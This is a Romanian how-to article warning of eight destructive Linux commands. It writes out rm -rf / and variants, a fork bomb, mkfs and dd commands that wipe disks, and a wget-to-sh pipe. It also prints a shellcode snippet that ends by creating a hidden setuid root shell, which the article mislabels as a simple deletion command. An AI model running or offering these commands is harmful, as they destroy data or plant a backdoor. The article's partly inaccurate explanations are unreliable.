Comenzile terminalului pe Linux sunt destul de distructive, dacă rulați o comandă, aceasta vă va distruge sistemul. Linux nu necesită confirmarea când rulați orice comandă.
A afla ce comenzi nu ar trebui să fie executate pe Linux vă ajută să vă protejați sistemul atunci când lucrați pe Linux. Mai jos sunt 8 comenzi mortale pe care nu ar trebui să le executați niciodată pe Linux.

1. rm -rf / - șterge totul
Comanda rm -rf / va șterge totul, inclusiv fișierele de pe hard disk și fișierele de pe dispozitivele media conectate la computer.
Pentru a înțelege mai bine această comandă, analizați-o după cum urmează:
- rm – Ștergeți următoarele fișiere.
- -rf – rulează rm (șterge toate fișierele și folderele dintr-un folder specificat) și șterge forțat toate fișierele fără a vă întreba mai întâi.
- / – Spune rm (să zicem rm) să pornească în directorul rădăcină, inclusiv toate fișierele de pe computer.
Linux va urma cu bucurie această comandă și va șterge totul fără să vă avertizeze, așa că aveți grijă când utilizați această comandă.
În plus, comanda rm este folosită și în moduri foarte periculoase. De exemplu, rm –rf ~ va șterge toate fișierele din folderul dvs. principal, iar rm -rf .* va șterge toate fișierele de configurare.
2. Comanda deghizată rm –rf /
Iată un fragment de cod peste tot pe Web:
char esp[] __attribute__ ((section(".text"))) /* esp release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Aceasta este în esență o altă versiune a rm –rf / – executarea acestei comenzi va șterge, de asemenea, toate fișierele, la fel cum rulați rm –rf /.
3. :(){ :|: & };: – Un tip de blockbuster
![8 comenzi mortale care nu ar trebui să fie executate niciodată pe Linux 8 comenzi mortale care nu ar trebui să fie executate niciodată pe Linux]()
Linia de comandă de mai jos pare foarte simplă, dar funcția sa este de fapt foarte periculoasă:
:(){ :|: & };:
Această comandă scurtă va crea copii noi ale acesteia. Adică, procesul de backup în sine va fi continuu și va duce rapid la umplerea procesorului și a memoriei.
De asemenea, poate provoca blocarea computerului. Este practic un atac de tip denial of service (DoS).
4. mkfs.ext4 /dev/sda1 – Formate de hard disk
Comanda mkfs.ext4 /dev/sda1 este destul de ușor de înțeles:
- mkfs.ext4 - creează un sistem de fișiere ext4 pe următorul dispozitiv.
- /dev/sda1 - identifică prima partiție de pe primul hard disk, care poate fi hard disk-ul în uz.
Combinarea acestor două comenzi este echivalentă cu formatarea unității C: pe Windows - ștergeți toate fișierele de pe prima partiție și înlocuiți-le cu noul sistem de fișiere.
Această comandă poate apărea în multe formate diferite, cum ar fi - mkfs.ext3 /dev/sdb2 va formata a doua partiție de pe al doilea hard disk cu sistemul de fișiere ext3.
5. comandă > /dev/sda - scrie direct pe un hard disk
![8 comenzi mortale care nu ar trebui să fie executate niciodată pe Linux 8 comenzi mortale care nu ar trebui să fie executate niciodată pe Linux]()
Linie de comandă > /dev/sda - rulați o comandă și scoateți rezultatul comenzii direct pe primul hard disk, scriind datele direct pe hard disk și distrugând sistemul de fișiere.
- comandă – Rulați o comandă (poate fi orice comandă).
- > – trimite ieșirea comenzii în următoarea locație.
- /dev/sda – Scrie ieșirea comenzii direct pe dispozitivul de hard disk.
6. dd if=/dev/random of=/dev/sda – scrie date stupide pe hard disk
Linia dd if=/dev/random of=/dev/sda va șterge datele de pe unul dintre hard disk-urile dvs.
- dd – este de a efectua copierea la nivel scăzut dintr-o locație în alta.
- if=/dev/random – Utilizați /dev/random ca intrare – este posibil să vedeți adrese precum /dev/zero.
- of=/dev/sda – ieșire pe primul hard disk, înlocuind sistemul de fișiere cu date prostești aleatorii.
7. mv ~ /dev/null – Mută-ți directorul principal într-o gaură neagră
/dev/null - mutarea ceva în /dev/null este același lucru cu distrugerea lui. Gândiți-vă la /dev/null ca la o gaură neagră. mv ~ /dev/null va trimite toate fișierele tale personale într-o gaură neagră.
- mv – mutați următorul fișier sau folder într-o altă locație.
- ~ – Întregul folder de acasă.
- /dev/null – Mutați folderul principal în /dev/null, acesta vă va distruge toate fișierele și va șterge copiile originale.
8. wget http://example.com/something -O – | sh – încărcați și rulați un script
Comanda de mai sus va descărca un script de pe web și va trimite scriptul către sh, care va executa conținutul scriptului. Acest lucru poate fi periculos dacă nu sunteți sigur ce este un script sau nu aveți o sursă de script de încredere – nu rulați scripturi care nu sunt de încredere.
wget – descărcați un fișier.
http://example.com/something – descărcați fișiere din această locație.
| – Transmite (trimite) rezultatul comenzii wget (fișierul de versiune descărcat) direct către o altă comandă.
sh – trimite fișierul către comanda sh.
Consultați mai multe articole de mai jos:
A te distra!